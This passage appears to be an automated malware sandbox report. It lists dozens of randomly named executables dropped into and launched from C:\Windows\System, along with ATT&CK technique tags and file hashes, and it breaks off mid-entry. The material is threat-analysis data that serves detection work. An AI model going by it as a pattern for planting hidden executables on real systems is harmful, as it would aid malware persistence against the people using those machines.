- C:\Windows\System\PmToOSV.exe
  C:\Windows\System\PmToOSV.exe
  2⤵
  PID:5124
- C:\Windows\System\DfEyYhE.exe
  C:\Windows\System\DfEyYhE.exe
  2⤵
  PID:8844
- C:\Windows\System\IBKwJnU.exe
  C:\Windows\System\IBKwJnU.exe
  2⤵
  PID:9952
- C:\Windows\System\cSsucoh.exe
  C:\Windows\System\cSsucoh.exe
  2⤵
  PID:3548
- C:\Windows\System\BeJNlmx.exe
  C:\Windows\System\BeJNlmx.exe
  2⤵
  PID:6240
- C:\Windows\System\FPiWTIm.exe
  C:\Windows\System\FPiWTIm.exe
  2⤵
  PID:5380
- C:\Windows\System\lUUbPmy.exe
  C:\Windows\System\lUUbPmy.exe
  2⤵
  PID:9140
- C:\Windows\System\BmvGYEt.exe
  C:\Windows\System\BmvGYEt.exe
  2⤵
  PID:5512
- C:\Windows\System\uDqGOXC.exe
  C:\Windows\System\uDqGOXC.exe
  2⤵
  PID:10248
- C:\Windows\System\txSwkeW.exe
  C:\Windows\System\txSwkeW.exe
  2⤵
  PID:8396
- C:\Windows\System\vnUtgRZ.exe
  C:\Windows\System\vnUtgRZ.exe
  2⤵
  PID:10312
- C:\Windows\System\GZAQHhy.exe
  C:\Windows\System\GZAQHhy.exe
  2⤵
  PID:5340
- C:\Windows\System\PInmReK.exe
  C:\Windows\System\PInmReK.exe
  2⤵
  PID:10412
- C:\Windows\System\DhgflKj.exe
  C:\Windows\System\DhgflKj.exe
  2⤵
  PID:5724
- C:\Windows\System\GjirwMA.exe
  C:\Windows\System\GjirwMA.exe
  2⤵
  PID:9020
- C:\Windows\System\PEsZqaP.exe
  C:\Windows\System\PEsZqaP.exe
  2⤵
  PID:10512
- C:\Windows\System\domPkSO.exe
  C:\Windows\System\domPkSO.exe
  2⤵
  PID:7636
- C:\Windows\System\jlHyjyv.exe
  C:\Windows\System\jlHyjyv.exe
  2⤵
  PID:7836
- C:\Windows\System\eBbpGbB.exe
  C:\Windows\System\eBbpGbB.exe
  2⤵
  PID:5784
- C:\Windows\System\kZKLTwB.exe
  C:\Windows\System\kZKLTwB.exe
  2⤵
  PID:10624
- C:\Windows\System\gFkNgNh.exe
  C:\Windows\System\gFkNgNh.exe
  2⤵
  PID:10656
- C:\Windows\System\OkKbzcV.exe
  C:\Windows\System\OkKbzcV.exe
  2⤵
  PID:2200
- C:\Windows\System\lLsAOYB.exe
  C:\Windows\System\lLsAOYB.exe
  2⤵
  PID:5896
- C:\Windows\System\lrFcDtS.exe
  C:\Windows\System\lrFcDtS.exe
  2⤵
  PID:10764
- C:\Windows\System\regLMIO.exe
  C:\Windows\System\regLMIO.exe
  2⤵
  PID:10820
- C:\Windows\System\OgUfshx.exe
  C:\Windows\System\OgUfshx.exe
  2⤵
  PID:6000
- C:\Windows\System\YiLIaRl.exe
  C:\Windows\System\YiLIaRl.exe
  2⤵
  PID:1452
- C:\Windows\System\JQuoQrc.exe
  C:\Windows\System\JQuoQrc.exe
  2⤵
  PID:10892
- C:\Windows\System\FtFPMyY.exe
  C:\Windows\System\FtFPMyY.exe
  2⤵
  PID:6036
- C:\Windows\System\rSogFQZ.exe
  C:\Windows\System\rSogFQZ.exe
  2⤵
  PID:428
- C:\Windows\System\RMcFOmK.exe
  C:\Windows\System\RMcFOmK.exe
  2⤵
  PID:10972
- C:\Windows\System\LnBdfak.exe
  C:\Windows\System\LnBdfak.exe
  2⤵
  PID:3728
- C:\Windows\System\YvpDsYX.exe
  C:\Windows\System\YvpDsYX.exe
  2⤵
  PID:1720
- C:\Windows\System\AxelRVb.exe
  C:\Windows\System\AxelRVb.exe
  2⤵
  PID:3952
- C:\Windows\System\Qdhryti.exe
  C:\Windows\System\Qdhryti.exe
  2⤵
  PID:11116
- C:\Windows\System\JYckbWX.exe
  C:\Windows\System\JYckbWX.exe
  2⤵
  PID:7368
- C:\Windows\System\wnWVPQo.exe
  C:\Windows\System\wnWVPQo.exe
  2⤵
  PID:5608
- C:\Windows\System\oZsIEoB.exe
  C:\Windows\System\oZsIEoB.exe
  2⤵
  PID:432
- C:\Windows\System\uIfcWJI.exe
  C:\Windows\System\uIfcWJI.exe
  2⤵
  PID:5208
- C:\Windows\System\YEGiYak.exe
  C:\Windows\System\YEGiYak.exe
  2⤵
  PID:4064
- C:\Windows\System\aRYxpXy.exe
  C:\Windows\System\aRYxpXy.exe
  2⤵
  PID:5324
- C:\Windows\System\hNhJzxY.exe
  C:\Windows\System\hNhJzxY.exe
  2⤵
  PID:11252
- C:\Windows\System\JfxNvhL.exe
  C:\Windows\System\JfxNvhL.exe
  2⤵
  PID:10340
- C:\Windows\System\XMcMhpE.exe
  C:\Windows\System\XMcMhpE.exe
  2⤵
  PID:5400
- C:\Windows\System\bWzMRPG.exe
  C:\Windows\System\bWzMRPG.exe
  2⤵
  PID:5520
- C:\Windows\System\YuyyZeo.exe
  C:\Windows\System\YuyyZeo.exe
  2⤵
  PID:10580
- C:\Windows\System\XCQoeHb.exe
  C:\Windows\System\XCQoeHb.exe
  2⤵
  PID:7624
- C:\Windows\System\pFmISmM.exe
  C:\Windows\System\pFmISmM.exe
  2⤵
  PID:5680
- C:\Windows\System\VZPkiIe.exe
  C:\Windows\System\VZPkiIe.exe
  2⤵
  PID:3380
- C:\Windows\System\HHxMuip.exe
  C:\Windows\System\HHxMuip.exe
  2⤵
  PID:2356
- C:\Windows\System\BNvVXRj.exe
  C:\Windows\System\BNvVXRj.exe
  2⤵
  PID:9564
- C:\Windows\System\wfQtjvl.exe
  C:\Windows\System\wfQtjvl.exe
  2⤵
  PID:11060
- C:\Windows\System\IVlaFSD.exe
  C:\Windows\System\IVlaFSD.exe
  2⤵
  PID:10936
- C:\Windows\System\PgBMDlE.exe
  C:\Windows\System\PgBMDlE.exe
  2⤵
  PID:9608
- C:\Windows\System\xaPYwWB.exe
  C:\Windows\System\xaPYwWB.exe
  2⤵
  PID:11048
- C:\Windows\System\DwqhwGW.exe
  C:\Windows\System\DwqhwGW.exe
  2⤵
  PID:11172
- C:\Windows\System\EggJqbG.exe
  C:\Windows\System\EggJqbG.exe
  2⤵
  PID:6064
- C:\Windows\System\TTkIhvg.exe
  C:\Windows\System\TTkIhvg.exe
  2⤵
  PID:10296
- C:\Windows\System\ayjkvRB.exe
  C:\Windows\System\ayjkvRB.exe
  2⤵
  PID:1764
- C:\Windows\System\BWsvPWV.exe
  C:\Windows\System\BWsvPWV.exe
  2⤵
  PID:644
- C:\Windows\System\vUOZnIE.exe
  C:\Windows\System\vUOZnIE.exe
  2⤵
  PID:10884
- C:\Windows\System\ySCjQEp.exe
  C:\Windows\System\ySCjQEp.exe
  2⤵
  PID:10984
- C:\Windows\System\ZkPLLmf.exe
  C:\Windows\System\ZkPLLmf.exe
  2⤵
  PID:6424
- C:\Windows\System\gJIJwiE.exe
  C:\Windows\System\gJIJwiE.exe
  2⤵
  PID:5928
- C:\Windows\System\EwJZbeP.exe
  C:\Windows\System\EwJZbeP.exe
  2⤵
  PID:7960
- C:\Windows\System\sNYtsYQ.exe
  C:\Windows\System\sNYtsYQ.exe
  2⤵
  PID:10916
- C:\Windows\System\QQpgFGL.exe
  C:\Windows\System\QQpgFGL.exe
  2⤵
  PID:3356
- C:\Windows\System\gXBDYfN.exe
  C:\Windows\System\gXBDYfN.exe
  2⤵
  PID:12192
- C:\Windows\System\vknPtlW.exe
  C:\Windows\System\vknPtlW.exe
  2⤵
  PID:8016
- C:\Windows\System\TaSzPKr.exe
  C:\Windows\System\TaSzPKr.exe
  2⤵
  PID:6732
- C:\Windows\System\gxlGcSS.exe
  C:\Windows\System\gxlGcSS.exe
  2⤵
  PID:7112
- C:\Windows\System\EVecckr.exe
  C:\Windows\System\EVecckr.exe
  2⤵
  PID:11624
- C:\Windows\System\lwnHXfI.exe
  C:\Windows\System\lwnHXfI.exe
  2⤵
  PID:9920
- C:\Windows\System\fDiIGmc.exe
  C:\Windows\System\fDiIGmc.exe
  2⤵
  PID:6080
- C:\Windows\System\ftfhxzU.exe
  C:\Windows\System\ftfhxzU.exe
  2⤵
  PID:7040
- C:\Windows\System\DubyYjg.exe
  C:\Windows\System\DubyYjg.exe
  2⤵
  PID:11868
- C:\Windows\System\EzpeFrO.exe
  C:\Windows\System\EzpeFrO.exe
  2⤵
  PID:6896
- C:\Windows\System\bYPQlkm.exe
  C:\Windows\System\bYPQlkm.exe
  2⤵
  PID:11960
- C:\Windows\System\MaFBKuB.exe
  C:\Windows\System\MaFBKuB.exe
  2⤵
  PID:9548
- C:\Windows\System\yUIjMva.exe
  C:\Windows\System\yUIjMva.exe
  2⤵
  PID:11992
- C:\Windows\System\aWgqQna.exe
  C:\Windows\System\aWgqQna.exe
  2⤵
  PID:2712
- C:\Windows\System\lhBGkDP.exe
  C:\Windows\System\lhBGkDP.exe
  2⤵
  PID:8776
- C:\Windows\System\tpWpYgT.exe
  C:\Windows\System\tpWpYgT.exe
  2⤵
  PID:5256
- C:\Windows\System\wxSjlqf.exe
  C:\Windows\System\wxSjlqf.exe
  2⤵
  PID:12072
- C:\Windows\System\yisyUlf.exe
  C:\Windows\System\yisyUlf.exe
  2⤵
  PID:3484
- C:\Windows\System\xjyYUuX.exe
  C:\Windows\System\xjyYUuX.exe
  2⤵
  PID:6332
- C:\Windows\System\kwBKlgY.exe
  C:\Windows\System\kwBKlgY.exe
  2⤵
  PID:3488
- C:\Windows\System\SnrGTad.exe
  C:\Windows\System\SnrGTad.exe
  2⤵
  PID:9340
- C:\Windows\System\jsqUwlr.exe
  C:\Windows\System\jsqUwlr.exe
  2⤵
  PID:12216
- C:\Windows\System\AKBANSv.exe
  C:\Windows\System\AKBANSv.exe
  2⤵
  PID:5812
- C:\Windows\System\KZlngZx.exe
  C:\Windows\System\KZlngZx.exe
  2⤵
  PID:10204
- C:\Windows\System\uQtGEWB.exe
  C:\Windows\System\uQtGEWB.exe
  2⤵
  PID:1684
- C:\Windows\System\FAqTtkq.exe
  C:\Windows\System\FAqTtkq.exe
  2⤵
  PID:7360
- C:\Windows\System\BlpIiao.exe
  C:\Windows\System\BlpIiao.exe
  2⤵
  PID:5568
- C:\Windows\System\zORCgUA.exe
  C:\Windows\System\zORCgUA.exe
  2⤵
  PID:8520
- C:\Windows\System\qRZLjJQ.exe
  C:\Windows\System\qRZLjJQ.exe
  2⤵
  PID:10336
- C:\Windows\System\LrlAokV.exe
  C:\Windows\System\LrlAokV.exe
  2⤵
  PID:6256
- C:\Windows\System\qswEQni.exe
  C:\Windows\System\qswEQni.exe
  2⤵
  PID:11644
- C:\Windows\System\xJeKjRc.exe
  C:\Windows\System\xJeKjRc.exe
  2⤵
  PID:6300
- C:\Windows\System\BVUsQet.exe
  C:\Windows\System\BVUsQet.exe
  2⤵
  PID:10508
- C:\Windows\System\GayHFNI.exe
  C:\Windows\System\GayHFNI.exe
  2⤵
  PID:11944
- C:\Windows\System\NvADUZO.exe
  C:\Windows\System\NvADUZO.exe
  2⤵
  PID:12028
- C:\Windows\System\vWfLlwk.exe
  C:\Windows\System\vWfLlwk.exe
  2⤵
  PID:12124
- C:\Windows\System\NWAJnyq.exe
  C:\Windows\System\NWAJnyq.exe
  2⤵
  PID:1960
- C:\Windows\System\ZOmobrA.exe
  C:\Windows\System\ZOmobrA.exe
  2⤵
  PID:5924
- C:\Windows\System\DTNFCxQ.exe
  C:\Windows\System\DTNFCxQ.exe
  2⤵
  PID:10832
- C:\Windows\System\QRMOEsH.exe
  C:\Windows\System\QRMOEsH.exe
  2⤵
  PID:4104
- C:\Windows\System\hiJSJuy.exe
  C:\Windows\System\hiJSJuy.exe
  2⤵
  PID:10996
- C:\Windows\System\nIcFVgi.exe
  C:\Windows\System\nIcFVgi.exe
  2⤵
  PID:6112
- C:\Windows\System\luHCfeh.exe
  C:\Windows\System\luHCfeh.exe
  2⤵
  PID:12560
- C:\Windows\System\JxPZEKq.exe
  C:\Windows\System\JxPZEKq.exe
  2⤵
  PID:4460
- C:\Windows\System\CyUlCsl.exe
  C:\Windows\System\CyUlCsl.exe
  2⤵
  PID:2520
- C:\Windows\System\YtHIBTT.exe
  C:\Windows\System\YtHIBTT.exe
  2⤵
  PID:10252
- C:\Windows\System\wIOMRGR.exe
  C:\Windows\System\wIOMRGR.exe
  2⤵
  PID:12920
- C:\Windows\System\dWLpTQQ.exe
  C:\Windows\System\dWLpTQQ.exe
  2⤵
  PID:7472
- C:\Windows\System\cHwzlGM.exe
  C:\Windows\System\cHwzlGM.exe
  2⤵
  PID:13248
- C:\Windows\System\gHWeTww.exe
  C:\Windows\System\gHWeTww.exe
  2⤵
  PID:3096
- C:\Windows\System\aRAnxzq.exe
  C:\Windows\System\aRAnxzq.exe
  2⤵
  PID:5808
- C:\Windows\System\OsPenVw.exe
  C:\Windows\System\OsPenVw.exe
  2⤵
  PID:5920
- C:\Windows\System\reTjBfx.exe
  C:\Windows\System\reTjBfx.exe
  2⤵
  PID:2928
- C:\Windows\System\gxrlPld.exe
  C:\Windows\System\gxrlPld.exe
  2⤵
  PID:11100
- C:\Windows\System\GddTMxo.exe
  C:\Windows\System\GddTMxo.exe
  2⤵
  PID:6140
- C:\Windows\System\vHxBhpG.exe
  C:\Windows\System\vHxBhpG.exe
  2⤵
  PID:3500
- C:\Windows\System\YwyRSTh.exe
  C:\Windows\System\YwyRSTh.exe
  2⤵
  PID:11120
- C:\Windows\System\tuWaMey.exe
  C:\Windows\System\tuWaMey.exe
  2⤵
  PID:10368
- C:\Windows\System\kFZGeTS.exe
  C:\Windows\System\kFZGeTS.exe
  2⤵
  PID:7452
- C:\Windows\System\aCCiasj.exe
  C:\Windows\System\aCCiasj.exe
  2⤵
  PID:11324
- C:\Windows\System\YjuzibH.exe
  C:\Windows\System\YjuzibH.exe
  2⤵
  PID:10140
- C:\Windows\System\NVUuHRM.exe
  C:\Windows\System\NVUuHRM.exe
  2⤵
  PID:6828
- C:\Windows\System\gSBBqFK.exe
  C:\Windows\System\gSBBqFK.exe
  2⤵
  PID:11548
- C:\Windows\System\ywHmNkA.exe
  C:\Windows\System\ywHmNkA.exe
  2⤵
  PID:1220
- C:\Windows\System\tYWmqzd.exe
  C:\Windows\System\tYWmqzd.exe
  2⤵
  PID:1740
- C:\Windows\System\inJJIgN.exe
  C:\Windows\System\inJJIgN.exe
  2⤵
  PID:11656
- C:\Windows\System\GaafzbM.exe
  C:\Windows\System\GaafzbM.exe
  2⤵
  PID:11772
- C:\Windows\System\rBvZGXp.exe
  C:\Windows\System\rBvZGXp.exe
  2⤵
  PID:6052
- C:\Windows\System\QeIQrbS.exe
  C:\Windows\System\QeIQrbS.exe
  2⤵
  PID:9448
- C:\Windows\System\wMqwhsc.exe
  C:\Windows\System\wMqwhsc.exe
  2⤵
  PID:11740
- C:\Windows\System\AsWiTjh.exe
  C:\Windows\System\AsWiTjh.exe
  2⤵
  PID:8552
- C:\Windows\System\UilvOeE.exe
  C:\Windows\System\UilvOeE.exe
  2⤵
  PID:11876
- C:\Windows\System\XemJwry.exe
  C:\Windows\System\XemJwry.exe
  2⤵
  PID:8256
- C:\Windows\System\nAaAlYH.exe
  C:\Windows\System\nAaAlYH.exe
  2⤵
  PID:11988
- C:\Windows\System\FhNoRpZ.exe
  C:\Windows\System\FhNoRpZ.exe
  2⤵
  PID:5044
- C:\Windows\System\fJRgNeZ.exe
  C:\Windows\System\fJRgNeZ.exe
  2⤵
  PID:5276
- C:\Windows\System\ExPAOLN.exe
  C:\Windows\System\ExPAOLN.exe
  2⤵
  PID:6148
- C:\Windows\System\zsXXyNi.exe
  C:\Windows\System\zsXXyNi.exe
  2⤵
  PID:8968
- C:\Windows\System\rUATKSO.exe
  C:\Windows\System\rUATKSO.exe
  2⤵
  PID:6236
- C:\Windows\System\zfYEqMm.exe
  C:\Windows\System\zfYEqMm.exe
  2⤵
  PID:6288
- C:\Windows\System\bdynMCI.exe
  C:\Windows\System\bdynMCI.exe
  2⤵
  PID:6180
- C:\Windows\System\rlDarku.exe
  C:\Windows\System\rlDarku.exe
  2⤵
  PID:11356
- C:\Windows\System\rswYmki.exe
  C:\Windows\System\rswYmki.exe
  2⤵
  PID:5536
- C:\Windows\System\vIwoqiO.exe
  C:\Windows\System\vIwoqiO.exe
  2⤵
  PID:5508
- C:\Windows\System\povpION.exe
  C:\Windows\System\povpION.exe
  2⤵
  PID:10696
- C:\Windows\System\bdGeKfv.exe
  C:\Windows\System\bdGeKfv.exe
  2⤵
  PID:9268
- C:\Windows\System\DkKeVco.exe
  C:\Windows\System\DkKeVco.exe
  2⤵
  PID:8688
- C:\Windows\System\KSWJGkr.exe
  C:\Windows\System\KSWJGkr.exe
  2⤵
  PID:8072
- C:\Windows\System\DIVEmid.exe
  C:\Windows\System\DIVEmid.exe
  2⤵
  PID:3920
- C:\Windows\System\yVahGGU.exe
  C:\Windows\System\yVahGGU.exe
  2⤵
  PID:11220
- C:\Windows\System\UVVfSsk.exe
  C:\Windows\System\UVVfSsk.exe
  2⤵
  PID:12864
- C:\Windows\System\wEwjxTa.exe
  C:\Windows\System\wEwjxTa.exe
  2⤵
  PID:12936
- C:\Windows\System\XcIRjfC.exe
  C:\Windows\System\XcIRjfC.exe
  2⤵
  PID:13260
- C:\Windows\System\TOmOjhR.exe
  C:\Windows\System\TOmOjhR.exe
  2⤵
  PID:8044
- C:\Windows\System\ZzUAtyY.exe
  C:\Windows\System\ZzUAtyY.exe
  2⤵
  PID:4436
- C:\Windows\System\DCxUdNc.exe
  C:\Windows\System\DCxUdNc.exe
  2⤵
  PID:8020
- C:\Windows\System\eqqosvu.exe
  C:\Windows\System\eqqosvu.exe
  2⤵
  PID:8128
- C:\Windows\System\KyxQqet.exe
  C:\Windows\System\KyxQqet.exe
  2⤵
  PID:12452
- C:\Windows\System\PqXUNet.exe
  C:\Windows\System\PqXUNet.exe
  2⤵
  PID:10388
- C:\Windows\System\slcinwf.exe
  C:\Windows\System\slcinwf.exe
  2⤵
  PID:10932
- C:\Windows\System\dKGKvNW.exe
  C:\Windows\System\dKGKvNW.exe
  2⤵
  PID:10556
- C:\Windows\System\sWaQzRy.exe
  C:\Windows\System\sWaQzRy.exe
  2⤵
  PID:7380
- C:\Windows\System\MkyAwjj.exe
  C:\Windows\System\MkyAwjj.exe
  2⤵
  PID:3212
- C:\Windows\System\IYKthKE.exe
  C:\Windows\System\IYKthKE.exe
  2⤵
  PID:10076
- C:\Windows\System\wwLqEQT.exe
  C:\Windows\System\wwLqEQT.exe
  2⤵
  PID:11376
- C:\Windows\System\RHRRNUk.exe
  C:\Windows\System\RHRRNUk.exe
  2⤵
  PID:1160
- C:\Windows\System\kkeWZSP.exe
  C:\Windows\System\kkeWZSP.exe
  2⤵
  PID:6216
- C:\Windows\System\QkrWgKT.exe
  C:\Windows\System\QkrWgKT.exe
  2⤵
  PID:11532
- C:\Windows\System\llRWSTi.exe
  C:\Windows\System\llRWSTi.exe
  2⤵
  PID:11824
- C:\Windows\System\MEpFfly.exe
  C:\Windows\System\MEpFfly.exe
  2⤵
  PID:3304
- C:\Windows\System\UNsBngE.exe
  C:\Windows\System\UNsBngE.exe
  2⤵
  PID:540
- C:\Windows\System\vUXEytp.exe
  C:\Windows\System\vUXEytp.exe
  2⤵
  PID:2824
- C:\Windows\System\PfFWqSL.exe
  C:\Windows\System\PfFWqSL.exe
  2⤵
  PID:5108
- C:\Windows\System\SzHycEp.exe
  C:\Windows\System\SzHycEp.exe
  2⤵
  PID:6108
- C:\Windows\System\rxeAKty.exe
  C:\Windows\System\rxeAKty.exe
  2⤵
  PID:12116
- C:\Windows\System\zPgAviq.exe
  C:\Windows\System\zPgAviq.exe
  2⤵
  PID:4004
- C:\Windows\System\hGfMabq.exe
  C:\Windows\System\hGfMabq.exe
  2⤵
  PID:4428
- C:\Windows\System\cSMVqQi.exe
  C:\Windows\System\cSMVqQi.exe
  2⤵
  PID:10332
- C:\Windows\System\gvQvhgC.exe
  C:\Windows\System\gvQvhgC.exe
  2⤵
  PID:64
- C:\Windows\System\vPJYPMs.exe
  C:\Windows\System\vPJYPMs.exe
  2⤵
  PID:7424
- C:\Windows\System\jOVLrqF.exe
  C:\Windows\System\jOVLrqF.exe
  2⤵
  PID:9848
- C:\Windows\System\SKRpOkt.exe
  C:\Windows\System\SKRpOkt.exe
  2⤵
  PID:1328
- C:\Windows\System\RqaBpPJ.exe
  C:\Windows\System\RqaBpPJ.exe
  2⤵
  PID:7860
- C:\Windows\System\ULVtkQq.exe
  C:\Windows\System\ULVtkQq.exe
  2⤵
  PID:12756
- C:\Windows\System\SXvQUzT.exe
  C:\Windows\System\SXvQUzT.exe
  2⤵
  PID:10300
- C:\Windows\System\XiYUJAB.exe
  C:\Windows\System\XiYUJAB.exe
  2⤵
  PID:8260
- C:\Windows\System\JvHJSbk.exe
  C:\Windows\System\JvHJSbk.exe
  2⤵
  PID:5368
- C:\Windows\System\luMsxqC.exe
  C:\Windows\System\luMsxqC.exe
  2⤵
  PID:7780

C:\Windows\system32\WerFaultSecure.exe
"C:\Windows\system32\WerFaultSecure.exe" -protectedcrash -p 2808 -i 2808 -h 468 -j 472 -s 480 -d 13188
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:12192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2prxvt2y.obq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\ATPWBPQ.exe

Filesize
1.8MB

MD5
b322e60f810e870912971acbde8332d6

SHA1
af44e8813d38e9f9f7d0ffaa7271ee87f20507f2

SHA256
a6fffefe9a19cfaf401a619545f2538844121e16b03efad39e2372bb935bad29

SHA512
74da4d73484c8e44f5cc1cf9419538c50da3144e0ddfdadd57374cc0197fc55271e48d680b9335b01eb02453d01535a808ad2b941ecd245bc959f9b1402dd8ab

Download Submit
C:\Windows\System\CMUMtYD.exe

Filesize
1.8MB

MD5
96d2265ac4eb94ee1e7a004952aaed00

SHA1
165ec4c0e690d0a48b0434d94e7d0df5c2c6c86d

SHA256
44fac9b0ba39533cba607ca226eb1e4d16644ba30185b53355a07970289694fc

SHA512
cb2067b0e393067c17341adee897413f571eb565dac5341321abcb60475e472a8f546538cf722841368ae786a6bcd4fbc3a4e5f51aceeef6b544ea7625e56475

Download Submit
C:\Windows\System\CmkHvus.exe

Filesize
1.8MB

MD5
fb3f90518fcd63879c9875f547f1ac2a

SHA1
fb184a82f1def195b7e72b67f34da87eb84d77d4

SHA256
c64b7499c1529b0b01a6e55ed536b863c5b236a1cab9111a31e81f6d8aeb8699

SHA512
e1e8bf04a171995ea63dbdaf7d2af439b3fa7ffdaae62c09423d2ebc5a8dbc066118669695ced5de96d3e8ed5b4346819173bbbbaee090bf7937827b1e5ec778

Download Submit
C:\Windows\System\EGnrldM.exe

Filesize
1.8MB

MD5
677ba8f369bffc6c64be51c37d61d901

SHA1
1f47800d88a966fae6468ba024bebc4d93ba31af

SHA256
9d571e8700d22a2cc175effd573d3250eeea5ecf9aa9e9dc787950dd99a35f29

SHA512
091053254a2e985dafa101fe85d8157c7a37e1d5ebe817a0cabd8fb58d05e020d3a6f143d32fb38f92524fb0ba72ca093294fcb259c28b21085d96eb567160f3

Download Submit
C:\Windows\System\EGwhNtA.exe

Filesize
1.8MB

MD5
9370646964ed4fc704e78ba60e83ba54

SHA1
32beeb565bf0c03eb64b47c1dce1629510890bfc

SHA256
77ca03d96fb734ce2eb625e960a9a2460ee83eb5dad66fb2872143cd9f05fa11

SHA512
e80b3c57405008ea9b0446677a0c983f3a3e17f7e7f2ad5c401561a52ec80dc10124e13d515d0b69cd8dcb1c9d861c90a42817d8befe6b33dae58d3a5a2fe2ea

Download Submit
C:\Windows\System\FWPfFzj.exe

Filesize
1.8MB

MD5
ce61b0cd55c2d7797122f276f062baf7

SHA1
8924e10107f03902851607434270c260a55801d1

SHA256
26f67ebbf97216b93d6cffe1af130dc0d2c54f91f5aff1a00253fdaee7cf83f7

SHA512
bcfb7a51cb0b25892f97b006fed64f0a51274dbb936642c7eefe83c8ab51f339b25ad1ee8dd64c33fcd4da0e457e55f6eca43d176af2ec89b5249025b8fe2871

Download Submit
C:\Windows\System\GwuEJZT.exe

Filesize
1.8MB

MD5
52b14d9a0d6bf2309aebf905ccec44fc

SHA1
7f953c750b10b54d420b46c8df23e029a69bef91

SHA256
5e3d0b3c3ad7cf414c5f7ebb3e54275bac7ec0b06e84cbf4c695d8799502b61a

SHA512
caf83b6fd591fa6f05378f95c030a40465f49150c01f987e3b345c7c3df019a3fb5dc36fcad791b489865fb694ee62d11f0c167bc86fac37b9b3628b9513a897

Download Submit
C:\Windows\System\HgNZTcl.exe

Filesize
1.8MB

MD5
5c6acf0c705b1ea9833598740ce4fe0a

SHA1
fef739f3c31444ebb0266592db1bf7c6376983d4

SHA256
90986cdd46088e2f0cef82ed56a3159ee365f929b52dc086b07705194d76ef91

SHA512
ae0f78bf85c3b50172028f78f17b52d31b895643b39ceea75b8a63a9215e3509832551d74ff0d4dffd191feb7c5126a1dc0f9d775e3df7a66c842c324cf80a39

Download Submit
C:\Windows\System\KABXNHk.exe

Filesize
1.8MB

MD5
55cbb6692884781aa77de44e6a6b3bb8

SHA1
bd6838748807ae0411a8c7f6086ef5253a089e5f

SHA256
a165bc9419483e7955a0a51d5a7fe52238de076831876365d9b3b8a7d7305b8c

SHA512
4cf5274b97350b03fda08f16da2ceb2540a3fdea175180ffd104f6059c686412960eb884f2e2d9c3282c89d4e52665d4b4ddc6d71eb71350706e130f979f29a4

Download Submit
C:\Windows\System\LhWoxCv.exe

Filesize
1.8MB

MD5
d6c5332d2f84b91e07330efe2a12075e

SHA1
4b82c4a1b05fc3ebe77658fd69bc58215bcc7316

SHA256
1c5b17bd56e4a16c946419f1ba12dc19126b3307634747dcda5be2e4d1cf3db5

SHA512
0ef1c3e36c950a76e7da2367bf65c8e076c07c8e3c38d6e8e8fd97eb612f57a99c78ec0f75214af2cbc6d760640c34b05a39ed7c49b970569a319ab857b671c4

Download Submit
C:\Windows\System\MZlnvtA.exe

Filesize
1.8MB

MD5
8ed98a00a848639042406281bea0255d

SHA1
7d9acb42b3a9fb3cc46cf5a277cd7c15b8b2138a

SHA256
812bf984b365ede0d22ef59679226e07d96c0526113fa01434bbcc44c317d0b3

SHA512
43f17eaa78a8b0ab35bfa25c78ba8d42f4a21bf94c602db7815f2f1472e2f53b97b763f6f70971f0389425c4af6c5e3f7d239915715302527869c9495e34142f

Download Submit
C:\Windows\System\OaPtDWN.exe

Filesize
1.8MB

MD5
8f0cf1a58d2f1b0ddf48fa99138051e0

SHA1
00cf7a31944aa19c2571e9596f453244b3923123

SHA256
046497d2dd32873459113529c7e5fafeb960dd7e2f634749a138e8bf9c9ca90a

SHA512
b9a630d373c8b02ccbb31b29810890197552c621a937800358af09ace28dab02178b323063dd7f2c7a72baa8394540e320015a85afa2b7333627e95dfa97b7e4

Download Submit
C:\Windows\System\PNlRjgZ.exe

Filesize
1.8MB

MD5
f715efac9ef1984262fee60a039f84ff

SHA1
59c6bb37405c891508752377bd6c7c88ca7f6775

SHA256
32e5690a914445c8fdab8188b261c8ee52442ce7ccd32b9344226709a88a1434

SHA512
5cd83b79d7d666ca91eaf160f27b7b9eb9cbe12c0fb4d63bcf2ec1e7e270e84f979cda75c616c146cce3c0039b7e908bdbac2ac9ce6e24dd6c710ef878a257e7

Download Submit
C:\Windows\System\QVULoHE.exe

Filesize
1.8MB

MD5
ce843c0b8caf4e4c8140049f1e7af352

SHA1
6311875be118f2b998e10b5547ef383befb79188

SHA256
a5c62e1174fb1bd1f6bba00e3d586b96a94ca44d1a73c418456b7a92aefd47ee

SHA512
37902388070d59be6ecea58cca3530feed371b492a62b6b1f120e24ddeb394fa7397ca4ad5a86c9977ad86d01c7156e9474bd79872a33c86af800f173850bfaa

Download Submit
C:\Windows\System\ReTKDpL.exe

Filesize
1.8MB

MD5
934c24331cf4854740828fe78b7f9dd3

SHA1
da6a6641ea2335f3bb74aa6945d4efe9e5bddd68

SHA256
680630c7d748a7c24023c51c23e771d3a9f6de378ea7c6f92d3541570176748b

SHA512
e92aab7ed8c358a89281567e3c2b5f9b7a2303844d493f60b7bc9de5ba25adf1d597274229f1b171a3868e394493e26deb93c294ce7506e233887007f58366d3

Download Submit
C:\Windows\System\WBIyFHw.exe

Filesize
1.8MB

MD5
8bb9e71e996f8c34a5d26ef1d47f4e16

SHA1
3a3c8b9a548aa56b92a20658e197710d181f08e0

SHA256
d0b37bc49171a15f86a8b41ce5eb6cde456ff6238c1e7471c07a746684ad0bc9

SHA512
8431fe36dd23b0b44049528ce810a29f0067567ac44c0f2ddfa27e0a956f691ab99564410b98f1a3ee105a0007730d2f3fb8e6fbaf7bf66e6dd1fc8f1a6acd92

Download Submit
C:\Windows\System\XKPqZJx.exe

Filesize
1.8MB

MD5
d0a4f73cc2f7da2be6e19bda29688176

SHA1
f241642e22df93a8312187ac66403a424bcdb896

SHA256
